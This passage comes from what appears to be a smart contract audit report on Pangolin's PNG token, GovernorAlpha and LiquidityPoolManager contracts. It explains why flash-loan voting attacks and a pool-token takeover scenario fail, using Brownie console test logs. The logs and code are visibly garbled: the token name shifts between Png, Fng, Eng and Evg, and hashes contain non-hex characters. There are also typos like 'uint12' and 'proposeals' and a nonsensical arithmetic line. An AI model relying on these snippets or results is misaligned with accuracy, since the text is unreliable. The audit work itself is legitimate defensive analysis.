This means that after calling `Png.delegate()` we would have to wait 1 block before `Png.getPriorVotes()` can be called in order to check the voting power. Also, the voting power is updated in the following cases:

1. User calls the function `Png.delegate()`.
2. Function `Png.transfer()` is called.
3. Function `Png.transferFrom()` is called.

At the end of a flash loan transaction the attacker would always have to return the tokens and this can only be achieved by calling the `Png.transfer()` or `Png.transferFrom()` function which would reupdate the voting power back to the state previous to the flash loan. For example:

1. Initially the attacker has 1,000,001 PNG tokens => He is a proposer.

2. Attacker performs a flash loan of 100,000,000 PNG tokens, increasing his PNG's balance to 101,000,001 tokens. At this point, he has 2 options:

a) In the same transaction/block.number the attacker calls `Png.delegate()`, which updates his voting power, creates a proposal and returns the flash loan calling `Png.transfer()`. When creating the proposal the voting power considered by the smart contract is the one that he had in the previous block.number, before the flash loan, which means that his voting power would not be increased:

Listing 40: GovernorAlpha.sol (Lines 140)

```

139     function propose(address[] memory targets, uint[] memory
        values, string[] memory signatures, bytes[] memory
        calldatas, string memory description) public returns (
            uint) {
140         require(png.getPriorVotes(msg.sender, sub256(block.number,
            1)) > proposalThreshold(), "GovernorAlpha::propose:
            proposer votes below proposal threshold");
141

```

b) In the same transaction/block.number the attacker calls `Png.delegate()`, which updates his voting power, and then returns the flash loan with `Png.transfer()` or `Png.transferFrom()`. When the attacker returns the flash loan by calling `Png.transfer()` or `Png.transferFrom()` his voting power would be reupdated again. Once again, taking this approach, the attacker would not be able to increase his voting power.

On the other hand, the contract is also covered against the following case:

1. User1 votes to approve the proposal.
2. User1 calls `Png.delegate(user2)`.
3. User2 votes to approve the proposal.
4. User2 approval votes counted by the contract for the proposal are the ones he had at the time of the proposal creation. They were not increased by the `delegate` call.

```

>>> Fng[0].transferFrom(owner_address, user1_address, 100000000000000000000000000000000000)
Transaction sent: 0xc7fe34461d6963867ff235dedc686909a415f95979b94d559a0ca32dfe024c
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
Fng.transferFrom confirmed Block: 13365661 Gas used: 57422 (0.85%)
<Transaction '0xc7fe34461d6963867ff235dedc686909a415f95979b94d559a0ca32dfe024c'>
>>> Fng[0].delegate(user1_address, {'from': user1})
Transaction sent: 0x75b7e4c133da7e27725a19ae9bef1f723fcdcc9f3cd56567a39c7f88641f1ee9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Fng.delegate confirmed Block: 13365662 Gas used: 91417 (1.36%)
<Transaction '0x75b7e4c133da7e27725a19ae9bef1f723fcdcc9f3cd56567a39c7f88641f1ee9'>
>>> Fng[0].transferFrom(owner_address, user2_address, 500000000)
Transaction sent: 0x164bbd5cc6cc60871f1b8742101898cb776e71d170e231bf9f4f4fd085d9848
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
Fng.transferFrom confirmed Block: 13365663 Gas used: 57374 (0.85%)
<Transaction '0x164bbd5cc6cc60871f1b8742101898cb776e71d170e231bf9f4f4fd085d9848'>
>>> Fng[0].delegate(user2_address, {'from': user2})
Transaction sent: 0x0a9c3d4e7aabc175e891645606ef473603046d17030f335d2b52321a213839
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Fng.delegate confirmed Block: 13365664 Gas used: 91417 (1.36%)
<Transaction '0x0a9c3d4e7aabc175e891645606ef473603046d17030f335d2b52321a213839'>
>>> output.redd("Creating a new proposal to setPendingAdmin(address) to user1 address")
encoded_setPendingAdmin = ech_abi_encode_abi(['address'], (user1_address,)).hex()
bytes_setPendingAdmin = ec_bytes(encoded_setPendingAdmin, 'bytes')
proposalID = GovernorAlpha[0].propose([Timelock[0].address], [0], ["setPendingAdmin(address)"], [bytes_setPendingAdmin], "setPendingAdmin(user1.address)", {'from': user1})
proposalID = proposalID.return_value
output.redd("Proposal created. ID: " + str(proposalID) + "\n")
Creating a new proposal to setPendingAdmin(address) to user1 address
Transaction sent: 0xd67a9cc5d0dc9f7db9a4fe2d8e38e1b77e1ca87dcc55eef4158654e849de941
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
GovernorAlpha.propose confirmed Block: 13365665 Gas used: 327030 (4.87%)
Proposal created. ID: 1
>>> chain.sleep(66401)
>>> chain.mine(1)
13365666
>>> GovernorAlpha[0].castVote(proposalID, True, {'from': user1})
Transaction sent: 0xb87b0cd34f14c9b0e187b9d943cf7b7455ab10175424238bc187c54c54de009
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
GovernorAlpha.castVote confirmed Block: 13365667 Gas used: 70447 (1.05%)
<Transaction '0xb87b0cd34f14c9b0e187b9d943cf7b7455ab10175424238bc187c54c54de009'>
>>> GovernorAlpha[0].proposeals(1)
(1, "0x73f55c48f1a71b8499580d8074b565834d536e5", 0, 1634304241, 1634563461, 13365666, 1000000000000000000000000, 0, False, False)
>>> Fng[0].delegate(user2_address, {'from': user1})
Transaction sent: 0x12dea7e553928ec6d3e2c8c6a5aebdb01191908ff27b78a5b5688ea38c0e55
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
Fng.delegate confirmed Block: 13365668 Gas used: 95875 (1.43%)
<Transaction '0x12dea7e553928ec6d3e2c8c6a5aebdb01191908ff27b78a5b5688ea38c0e55'>
>>> GovernorAlpha[0].castVote(proposalID, True, {'from': user2})
Transaction sent: 0x822fd0002feadb7a69ea7a06b13dfe7d907bfc1e168c3312809c553b0a527e6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
GovernorAlpha.castVote confirmed Block: 13365669 Gas used: 66286 (0.99%)
<Transaction '0x822fd0002feadb7a69ea7a06b13dfe7d907bfc1e168c3312809c553b0a527e6'>
>>> GovernorAlpha[0].proposeals(1)
(1, "0x73f55c48f1a71b8499580d8074b565834d536e5", 0, 1634304241, 1634563461, 13365666, 1000000000000000000000000000000000000, 0, False, False)

```

Finally, it is worth mentioning, that any proposal is eligible to be cancelled at any time prior to its execution, including while queued in the Timelock, using the `GovernorAlpha.cancel()` function.

The cancel function can be called by the proposal creator, or any Ethereum address, if the proposal creator fails to maintain more delegated votes than the proposal threshold (e.g. 1,000,000).

## 4.5 LIQUIDITYPOOLMANAGER CONTRACT

`LiquidityPoolManager` distributes PNG tokens to whitelisted trading pairs. The contract contains the following getter functions:

- `isWhitelisted(address pair)`
- `isAvaxPair(address pair)`
- `isPngPair(address pair)`
- `getAvaxLiquidity(address pair)`
- `getPngLiquidity(address pair, uint conversionFactor)`
- `getAvaxPngRatio()`

And the following external/public functions:

- `setAvaxPngPair(address avaxPngPair_) (onlyOwner)`
- `addWhitelistedPool(address pair) (onlyOwner)`
- `removeWhitelistedPool(address pair) (onlyOwner)`
- `calculateReturns()`
- `distributeTokens()`
- `distributeTokensSinglePool(uint pairIndex)`
- `calculateAndDistribute()`
- `vestAllocation()`

In the test case below we can see that the functions `addWhitelistedPool`, `removeWhitelistedPool`, `isWhitelisted`, `isAvaxPair` and `isPngPair` work as expected.

```
>>> # constructor(address_avax, address_png, address_treasuryVester)
>>> owner.deploy(LiquidityPoolManager, MockContract[4].address, Png[0].address, TreasuryVester[0].address)
Transaction sent: 0x1b1b95498c79b4b545f9db189c8194d3c6131e811254e05643c779c2f3633c22
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
LiquidityPoolManager.constructor confirmed Block: 13370843 Gas used: 4011569 (59.68%)
LiquidityPoolManager deployed at: 0xc653c9320774a58286aa3681dc34608DC77c10

<LiquidityPoolManager Contract '0xc653c9320774a58286aa3681dc34608DC77c10'>
>>> token0 = "0x0df1e81" # Web3.utils.sha3('token0()').slice(0,10);
>>> token1 = "0xd2120a7" # Web3.utils.sha3('token1()').slice(0,10);
>>> MockContract[0].givenMethodReturnAddress(token0, MockContract[4].address);
Transaction sent: 0xf90cf0ea8f410dec2cc9660263e8cc8e513de401567e896e5587bd15b734d94
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
MockContract.givenMethodReturnAddress confirmed Block: 13370844 Gas used: 94821 (1.41%)

<Transaction '0xf90cf0ea8f410dec2cc9660263e8cc8e513de401567e896e5587bd15b734d94'>
>>> MockContract[0].givenMethodReturnAddress(token1, WAVAX[1].address);
Transaction sent: 0x448564be3adcaedbb124381ec6e03b9762acb9caf7c9ab1006c2d8d7f4b82b4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MockContract.givenMethodReturnAddress confirmed Block: 13370845 Gas used: 94821 (1.41%)

<Transaction '0x448564be3adcaedbb124381ec6e03b9762acb9caf7c9ab1006c2d8d7f4b82b4'>
>>> LiquidityPoolManager[0].addWhitelistedPool(MockContract[0].address);
Transaction sent: 0x2a366691b579026eee5861658b3558954ce651ccafe325709f3290028994fc9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
LiquidityPoolManager.addWhitelistedPool confirmed Block: 13370846 Gas used: 1769728 (26.33%)

<Transaction '0x2a366691b579026eee5861658b3558954ce651ccafe325709f3290028994fc9'>
>>> LiquidityPoolManager[0].isWhitelisted(MockContract[0].address);
True
>>> LiquidityPoolManager[0].isAvaxPair(MockContract[0].address);
True
>>> LiquidityPoolManager[0].isPngPair(MockContract[0].address);
False
>>> LiquidityPoolManager[0].removeWhitelistedPool(MockContract[0].address);
Transaction sent: 0x2a366691b579026eee5861658b3558954ce651ccafe325709f3290028994fc9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
LiquidityPoolManager.removeWhitelistedPool confirmed Block: 13370847 Gas used: 204874 (3.05%)

<Transaction '0x2a366691b579026eee5861658b3558954ce651ccafe325709f3290028994fc9'>
>>> LiquidityPoolManager[0].isWhitelisted(MockContract[0].address);
False
>>> LiquidityPoolManager[0].isAvaxPair(MockContract[0].address);
False
>>> LiquidityPoolManager[0].isPngPair(MockContract[0].address);
False
```

Same applies to the functions `getAvaxLiquidity`:

```
>>> owner.deploy(LiquidityPoolManager, MockContract[4].address, Png[0].address, MockContract[6].address)
Transaction sent: 0xe68a7849483bb1761bc769a3f24bf6e57833ae259f5803a9f67e8e37282fe7
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
LiquidityPoolManager.constructor confirmed Block: 13371359 Gas used: 4011569 (59.68%)
LiquidityPoolManager deployed at: 0x56900e6d658c2f18a500ccEca0918aef2167fDD

<LiquidityPoolManager Contract '0x56900e6d658c2f18a500ccEca0918aef2167fDD'>
>>> token0 = "0x0df1e81" # Web3.utils.sha3('token0()').slice(0,10);
>>> token1 = "0xd2120a7" # Web3.utils.sha3('token1()').slice(0,10);
>>> MockContract[0].givenMethodReturnAddress(token0, MockContract[4].address);
Transaction sent: 0x26717239a9d974df5f09facfbaf7f060e84ad718d572e8ce0a9ce2fa3501
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
MockContract.givenMethodReturnAddress confirmed Block: 13371360 Gas used: 94821 (1.41%)

<Transaction '0x26717239a9d974df5f09facfbaf7f060e84ad718d572e8ce0a9ce2fa3501'>
>>> MockContract[0].givenMethodReturnAddress(token1, WAVAX[1].address);
Transaction sent: 0xccc876d2c678026c1f69934d2494348c801acb87ab10cf9aab5962e7135b8c230
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MockContract.givenMethodReturnAddress confirmed Block: 13371361 Gas used: 94821 (1.41%)

<Transaction '0xccc876d2c678026c1f69934d2494348c801acb87ab10cf9aab5962e7135b8c230'>
>>> LiquidityPoolManager[0].addWhitelistedPool(MockContract[0].address);
Transaction sent: 0x4e9454c0292d4f4cad8e2062855deb8764798bf256cf6a90e99bbe2cd242bf
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
LiquidityPoolManager.addWhitelistedPool confirmed Block: 13371362 Gas used: 1769728 (26.33%)

<Transaction '0x4e9454c0292d4f4cad8e2062855deb8764798bf256cf6a90e99bbe2cd242bf'>
>>> reserve0 = 2000
>>> reserve1 = 1000
>>> timestamp = chain.time()
>>> getReserves = "0x902fia" # Web3.utils.sha3('getReserves()').slice(0,10);
>>> encoded = eth_abi.encode_abi(["uint112", "uint112", "uint32"], (reserve0, reserve1, timestamp)).hex()
>>> data = to_bytes(encoded, 'bytes')
>>> MockContract[0].givenMethodReturn(getReserves, data);
Transaction sent: 0x233a1bc03a23a3edee07fa041bd8a9bf164b0f31b2bcabcf1d10507acdfla0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
MockContract.givenMethodReturn confirmed Block: 13371363 Gas used: 135595 (2.02%)

<Transaction '0x233a1bc03a23a3edee07fa041bd8a9bf164b0f31b2bcabcf1d10507acdfla0'>
>>> output_redd("getAvaxLiquidity -> " + str(LiquidityPoolManager[0].getAvaxLiquidity(MockContract[0].address)))
getAvaxLiquidity -> 4000
```



## getPngLiquidity and getAvaxPngRatio:

```

>>> owner.deploy(LiquidityPoolManager, MockContract[0].address, Png[0].address, MockContract[6].address)
Transaction sent: 0x380998921629490de369e0e806194132e76996be17db7e361424dbd721cc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
LiquidityPoolManager.constructor confirmed Block: 13371523 Gas used: 4011569 (59.68%)
LiquidityPoolManager deployed at: 0x369AF25379C54e0a8D3C5667069E476Ae0ED02E78

<Transaction '0x369AF25379C54e0a8D3C5667069E476Ae0ED02E78'>
>>> token0 = "0x0df1691" # Web3.utils.sha3('token0').slice(0,10);
>>> token1 = "0xd1220a7" # Web3.utils.sha3('token1').slice(0,10);
>>> MockContract[0].givenMethodReturnAddress(token0, Png[0].address)
Transaction sent: 0xb43845b8a1ee09c5564e3df5a95ccf78ccal8b9a078a55016a0e4fe5062434
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
MockContract.givenMethodReturnAddress confirmed Block: 13371524 Gas used: 94821 (1.41%)

<Transaction '0xb43845b8a1ee09c5564e3df5a95ccf78ccal8b9a078a55016a0e4fe5062434'>
>>> MockContract[0].givenMethodReturnAddress(token1, WAVAX[1].address)
Transaction sent: 0x5f033c7c0d9a1cf682f4de6dc52b869e645b0eacd9f2ff7ba5d1b32f21a93
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
MockContract.givenMethodReturnAddress confirmed Block: 13371525 Gas used: 94821 (1.41%)

<Transaction '0x5f033c7c0d9a1cf682f4de6dc52b869e645b0eacd9f2ff7ba5d1b32f21a93'>
>>> LiquidityPoolManager[0].addWhitelistedPool(MockContract[0].address)
Transaction sent: 0xf8b7956d4b6d1962a95c5e582b60939aebd1af74a7adad0033789edaf09e3b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
LiquidityPoolManager.addWhitelistedPool confirmed Block: 13371526 Gas used: 1771436 (26.35%)

<Transaction '0xf8b7956d4b6d1962a95c5e582b60939aebd1af74a7adad0033789edaf09e3b'>
>>> reserve0 = 2000000000000000000
>>> reserve1 = 1000000000000000000
>>> timestamp = chain.time()
>>> getReserves = "0x0902f1ac" # Web3.utils.sha3('getReserves').slice(0,10);
>>> encoded = eth_abi.encode_abi(["uint12", "uint12", "uint32"], (reserve0, reserve1, timestamp)).hex()
>>> data = to_bytes(encoded, 'bytes')
>>> MockContract[0].givenMethodReturn(getReserves, data)
Transaction sent: 0x1af1f97e98416ab51eaa0b67713fe82ca4a9c0d8c9325bcd2fd62ef93e1c3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MockContract.givenMethodReturn confirmed Block: 13371527 Gas used: 135715 (2.02%)

<Transaction '0x1af1f97e98416ab51eaa0b67713fe82ca4a9c0d8c9325bcd2fd62ef93e1c3'>
>>> output_redd("getPngLiquidity -> " + str(LiquidityPoolManager[0].getPngLiquidity(MockContract[0].address, 2500000000000000))
getPngLiquidity -> 1000000000000000000
>>> 2000000000000000000 + 2500000000000000 * 2 / 1e18
1e18
>>> LiquidityPoolManager[0].setAvaxPngPair(MockContract[0].address)
Transaction sent: 0x589d62977db8aff5708c5d5df6cf4fff5e6d7629b399401cafd0049cadcb3af
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
LiquidityPoolManager.setAvaxPngPair confirmed Block: 13371528 Gas used: 43508 (0.65%)

<Transaction '0x589d62977db8aff5708c5d5df6cf4fff5e6d7629b399401cafd0049cadcb3af'>
>>> LiquidityPoolManager[0].avaxPngPair()
'0x18d8b0d4d2705b130cc516f2e7c03ff3e5210e4'
>>> output_redd("getAvaxPngRatio() -> " + str(LiquidityPoolManager[0].getAvaxPngRatio()))
getAvaxPngRatio() -> 500000000000000000

Finally, we can see how calling distributeTokens:
>>> vestAmount = 1337
>>> claimMethod = "0x4e71d92d" # Web3.utils.sha3('claim').slice(0,10);
>>> Png[0].transfer(LiquidityPoolManager[0].address, vestAmount)
Transaction sent: 0xfac48b7fc30fd2b21035546475718b16c8877d4b783adfaf2d5cdf9a1533b7a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
Png.transfer confirmed Block: 13376888 Gas used: 55674 (0.83%)

<Transaction '0xfac48b7fc30fd2b21035546475718b16c8877d4b783adfaf2d5cdf9a1533b7a'>
>>> MockContract[6].givenMethodReturnUint(claimMethod, vestAmount)
Transaction sent: 0xd9432761d4ef30b3e47f4945deffefa7b708ccbd7d5aab7dc8de3ec334439ed8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MockContract.givenMethodReturnUint confirmed Block: 13376889 Gas used: 94640 (1.41%)

<Transaction '0xd9432761d4ef30b3e47f4945deffefa7b708ccbd7d5aab7dc8de3ec334439ed8'>
>>> tx = LiquidityPoolManager[0].vestAllAllocation()
Transaction sent: 0x790ebbf6c689accfa45169cf057118f5612f8426d50fe393a9ccbc5e01027e4a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 22
LiquidityPoolManager.vestAllAllocation confirmed Block: 13376890 Gas used: 111979 (1.67%)

>>> output_redd("unallocatedPng after -> " + str(LiquidityPoolManager[0].unallocatedPng()))
unallocatedPng after -> 1337
>>> LiquidityPoolManager[0].calculateReturns()
Transaction sent: 0xd7023ea24a1592bf07a972865b075a16b676ca4018b8d948347a0ce7f30153a6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 23
LiquidityPoolManager.calculateReturns confirmed Block: 13376891 Gas used: 282049 (4.20%)

<Transaction '0xd7023ea24a1592bf07a972865b075a16b676ca4018b8d948347a0ce7f30153a6'>
>>> LiquidityPoolManager[0].distributeTokens()
Transaction sent: 0xc43df50014589393001198585390dfe69def4ff9deb65ce2d3058de53d417f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 24
LiquidityPoolManager.distributeTokens confirmed Block: 13376892 Gas used: 54413 (0.81%)

<Transaction '0xc43df50014589393001198585390dfe69def4ff9deb65ce2d3058de53d417f'>
>>> stakeAddress = LiquidityPoolManager[0].stakes(MockContract[0].address)
>>> stakeAddress
'0x589e0574dFb6A0F5AD038E1582Ad6de95727B'
>>> output_redd("Png[0].balanceOf(stakeAddress) -> " + str(Png[0].balanceOf(stakeAddress)))
Png[0].balanceOf(stakeAddress) -> 1337

```

And calling `distributeTokensSinglePool` produces the same output:

```
>>> vestAmount = 1337
>>> claimMethod = "0x4e71d92d" # Web3.utils.sha3('claim()'.slice(0,10))
>>> Png[0].transfer(LiquidityPoolManager[0].address, vestAmount)
Transaction sent: 0xfac45b7fc30fd2b21035546475718b16c8877d4b783adfaf2d5oddf9a1533b7a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
Png.transfer confirmed Block: 13376888 Gas used: 55674 (0.83%)

<Transaction '0xfac45b7fc30fd2b21035546475718b16c8877d4b783adfaf2d5oddf9a1533b7a'>
>>> MockContract[6].givenMethodReturnUint(claimMethod, vestAmount)
Transaction sent: 0xd9432761d4ef30b3e47f4945deffefa7b708ccbd7d5aab7dc8de3ec334439ed8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MockContract.givenMethodReturnUint confirmed Block: 13376889 Gas used: 94640 (1.41%)

<Transaction '0xd9432761d4ef30b3e47f4945deffefa7b708ccbd7d5aab7dc8de3ec334439ed8'>
>>> tx = LiquidityPoolManager[0].vestAllocation()
Transaction sent: 0x750ebbbfc689acca745169c057118f5612f8426d50fe393a9ccbc5e01027e4a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 22
LiquidityPoolManager.vestAllocation confirmed Block: 13376890 Gas used: 111979 (1.67%)

>>> output.redd("unallocatedPng after -> " + str(LiquidityPoolManager[0].unallocatedPng())
unallocatedPng after -> 1337
>>> tx = LiquidityPoolManager[0].calculateReturns()
Transaction sent: 0x2f929e2481392b07a57286c8b075a15b676ca4018b8d948347a0ce7f30153a6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 23
LiquidityPoolManager.calculateReturns confirmed Block: 13376891 Gas used: 282049 (4.20%)

>>> LiquidityPoolManager[0].distributeTokensSinglePool(0)
Transaction sent: 0x5b72b186ea7c7bd2f631e4cd88b3c844a9c0823a0c2e2de9a08c6741b69ab190
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 24
LiquidityPoolManager.distributeTokensSinglePool confirmed Block: 13376892 Gas used: 54779 (0.81%)

<Transaction '0x5b72b186ea7c7bd2f631e4cd88b3c844a9c0823a0c2e2de9a08c6741b69ab190'>
>>> stakeAddress = LiquidityPoolManager[0].stake(MockContract[0].address)
>>> stakeAddress
'0x5593e0574cf6eA05F5AD098E1582Ad6de95727B'
>>> output.redd("Png[0].balanceOf(stakeAddress) -> " + str(Png[0].balanceOf(stakeAddress)))
Png[0].balanceOf(stakeAddress) -> 1337
```

It is worth mentioning that after calling `distributeTokensSinglePool`, `distributeTokens` should be called once before recalling `vestAllocation` so the `readyToDistribute` variable is set to false and `unallocatedPng` variable is set to 0.

Moreover, we tested the following example scenario:

1. There are 2 whitelisted AVAX pools: Pool 0 and Pool 1.
2. Attacker calls `vestAllocation`.
3. Attacker calls `calculateReturns`.
4. Attacker calls `distributeTokensSinglePool(0)` which triggers: `distribution[pairIndex] = 0;`
5. If he tries now to call `calculateReturns` again and then once again `distributeTokensSinglePool(0)` to takeover the tokens of Pool 1, he will not be able to as `readyToDistribute` variable is set to True and will not be reset to False until `distributeTokens` is called. Calling `distributeTokens` would distribute 0 tokens to Pool 0 as `distribution[0]` was set previously to 0 and the Pool 1 would receive its corresponding tokens correctly.

## 4.6 LIQUIDITYPOOLMANAGERV2 CONTRACT

`LiquidityPoolManagerV2` distributes PNG tokens to whitelisted trading pairs. The contract contains the following getter functions:

- `isWhitelisted(address pair)`
- `isAvaxPair(address pair)`
- `isPngPair(address pair)`
- `getAvaxLiquidity(address pair)`
- `getPngLiquidity(address pair, uint conversionFactor)`
- `getAvaxPngRatio()`

And the following external/public functions:

- `setAvaxPngPair(address avaxPngPair_) (onlyOwner)`
- `addWhitelistedPool(address pair, uint weight) (onlyOwner)`
- `removeWhitelistedPool(address pair) (onlyOwner)`
- `changeWeight(address pair, uint weight) (onlyOwner)`
- `activateFeeSplit(uint avaxSplit_, uint pngSplit_) (onlyOwner)`
- `deactivateFeeSplit() (onlyOwner)`
- `calculateReturns()`
- `distributeTokens()`
- `distributeTokensSinglePool(uint pairIndex)`
- `calculateAndDistribute()`
- `vestAllocation()`

The version 2 adds weights to the pools and fees.

The tests performed for this contract were similar than the ones executed in `LiquidityPoolManager` contract. On top of that, we added some extra test cases to the provided `test/LiquidityPoolManager.js` script and executed them successfully.

## 4.7 PNG CONTRACT

The contract `Png` is a custom token contract which contains the following functions:

- `allowance()`
- `approve()`
- `permit()`
- `balanceOf()` - view
- `transfer()`
- `transferFrom()`
- `delegate()`
- `delegateBySig()`
- `getCurrentVotes()` - view
- `getPriorVotes()` - view
- `_delegate()`
- `_transferTokens()`
- `_moveDelegates()`
- `_writeCheckpoint()`

The functions `transfer`, `transferFrom` and `delegate` call internally `_writeCheckpoint`. This means that every time these functions are called the voting power is updated.

It is worth mentioning that this functionality is critical and should always be kept in future updates, as it is acting as a protection mechanism against flash loans, as explained in GovernorAlpha's contract analysis.

We can see below how the voting power was updated right after the `transferFrom` and `delegate` functions were called:

```
>>> Eng[0].transferFrom(owner.address, user1.address, 10000000000000000000)
Transaction sent: 0x9baa9ba35ce95730a77e0a490fdb55a5e7b1de506b1cffee290ca95cb57ad18
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Eng.transferFrom confirmed Block: 13403631 Gas used: 57410 (0.85%)

<Transaction '0x5baa9ba35ce95730a77e0a490fdb55a5e7b1de506b1cffee290ca95cb57ad18'>
>>> gchain.mine(1)
13403632
>>> Eng[0].balanceOf(user1.address)
10000000000000000000
>>> Eng[0].getCurrentVotes(user1.address)
0
>>> Eng[0].delegate(user1.address, {'from': user1})
Transaction sent: 0xe6e1e019c9c8db04ab6adf3c072159767ba7aae94e5ee78ef15903a400b3d3a1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.delegate confirmed Block: 13403633 Gas used: 91417 (1.36%)

<Transaction '0xe6e1e019c9c8db04ab6adf3c072159767ba7aae94e5ee78ef15903a400b3d3a1'>
>>> Eng[0].getCurrentVotes(user1.address)
10000000000000000000
>>> Eng[0].transferFrom(user1.address, user2.address, 10000000000000000000, {'from': user1.address})
Transaction sent: 0xead228bf905617d1238ae8bcd709dee9061d586cc91ebd87adf2cf661fbd7fc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
Eng.transferFrom confirmed Block: 13403634 Gas used: 74977 (1.12%)

<Transaction '0xead228bf905617d1238ae8bcd709dee9061d586cc91ebd87adf2cf661fbd7fc'>
>>> Eng[0].balanceOf(user1.address)
0
>>> Eng[0].balanceOf(user2.address)
10000000000000000000
>>> Eng[0].getCurrentVotes(user1.address)
0
>>> Eng[0].getCurrentVotes(user2.address)
10000000000000000000
>>> Eng[0].delegate(user2.address, {'from': user2})
Transaction sent: 0x044f0ff5434bfe307a6c0f0e57a601229eaf57263259a08ecd2892be958be26
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.delegate confirmed Block: 13403635 Gas used: 91417 (1.36%)

<Transaction '0x044f0ff5434bfe307a6c0f0e57a601229eaf57263259a08ecd2892be958be26'>
>>> Eng[0].getCurrentVotes(user2.address)
10000000000000000000
```

Further tests were performed proving that it is not possible to delegate into multiple users and that every time a `transferFrom` is called the voting power is updated in the `delegatee`:

```
>>> Eng[0].transferFrom(owner.address, user1.address, 10000000000000000000)
Transaction sent: 0xe53b1b488f23feff13b3eb35367a26aabc01a7f60c171711lda1c4ec4081979
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Eng.transferFrom confirmed Block: 13403781 Gas used: 57410 (0.85%)

<Transaction '0xe53b1b488f23feff13b3eb35367a26aabc01a7f60c171711lda1c4ec4081979'>
>>> Eng[0].balanceOf(user1.address)
10000000000000000000
>>> Eng[0].delegate(user2.address, {'from': user1})
Transaction sent: 0x1b5a62aeaa5c80358b002b251ab8e3e38396f558e9acd7aa8ff04746cf2f989
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.delegate confirmed Block: 13403782 Gas used: 51417 (1.36%)

<Transaction '0x1b5a62aeaa5c80358b002b251ab8e3e38396f558e9acd7aa8ff04746cf2f989'>
>>> Eng[0].getCurrentVotes(user2.address)
10000000000000000000
>>> Eng[0].delegate(user3.address, {'from': user1})
Transaction sent: 0xc04b0e4023dbb236293089082730e8f78e70982c49e6d0adb569edc95d56995f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
Eng.delegate confirmed Block: 13403783 Gas used: 108876 (1.62%)

<Transaction '0xc04b0e4023dbb236293089082730e8f78e70982c49e6d0adb569edc95d56995f'>
>>> Eng[0].getCurrentVotes(user2.address)
0
>>> Eng[0].getCurrentVotes(user3.address)
10000000000000000000
>>> Eng[0].transferFrom(user1.address, user2.address, 10000000000000000000, {'from': user1.address})
Transaction sent: 0x94656070aa131cf92892714831ed32050a1807e6baf9ace9d3ff7150a752dc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
Eng.transferFrom confirmed Block: 13403784 Gas used: 74977 (1.12%)

<Transaction '0x94656070aa131cf92892714831ed32050a1807e6baf9ace9d3ff7150a752dc'>
>>> Eng[0].getCurrentVotes(user3.address)
0
>>> Eng[0].getCurrentVotes(user1.address)
0
>>> Eng[0].delegate(user2.address, {'from': user1})
Transaction sent: 0x86c978b9b01efaba5058fb173142089a2babe245e0958f206642b862b6822aa
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
Eng.delegate confirmed Block: 13403785 Gas used: 30887 (0.46%)

<Transaction '0x86c978b9b01efaba5058fb173142089a2babe245e0958f206642b862b6822aa'>
>>> Eng[0].getCurrentVotes(user2.address)
0
>>> Eng[0].delegate(user2.address, {'from': user2})
Transaction sent: 0x5bb5d5a060128a4c90ba46cba3a9b0dec3ddaa225b9f2b1db5c0647bb339fad4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Eng.delegate confirmed Block: 13403786 Gas used: 78416 (1.17%)

<Transaction '0x5bb5d5a060128a4c90ba46cba3a9b0dec3ddaa225b9f2b1db5c0647bb339fad4'>
>>> Eng[0].getCurrentVotes(user2.address)
10000000000000000000
```

```
>>> Evg[0].transferFrom(owner.address, user1.address, 1000000000000000000000)
Transaction sent: 0xe53b1b488f23feff13b3eb35367a26aab001a7f60c1717111daelc4ec4081979
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Evg.transferFrom confirmed Block: 13403781 Gas used: 57410 (0.85%)

<Transaction '0xe53b1b488f23feff13b3eb35367a26aab001a7f60c1717111daelc4ec4081979'>
>>> Evg[0].delegate(user2.address, {'from': user1})
Transaction sent: 0x1b5a62aeaa5c0358b002b251ab8e3e38396f558e9acd7aa8ff04746cf2f889
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Evg.delegate confirmed Block: 13403782 Gas used: 91417 (1.36%)

<Transaction '0x1b5a62aeaa5c0358b002b251ab8e3e38396f558e9acd7aa8ff04746cf2f889'>
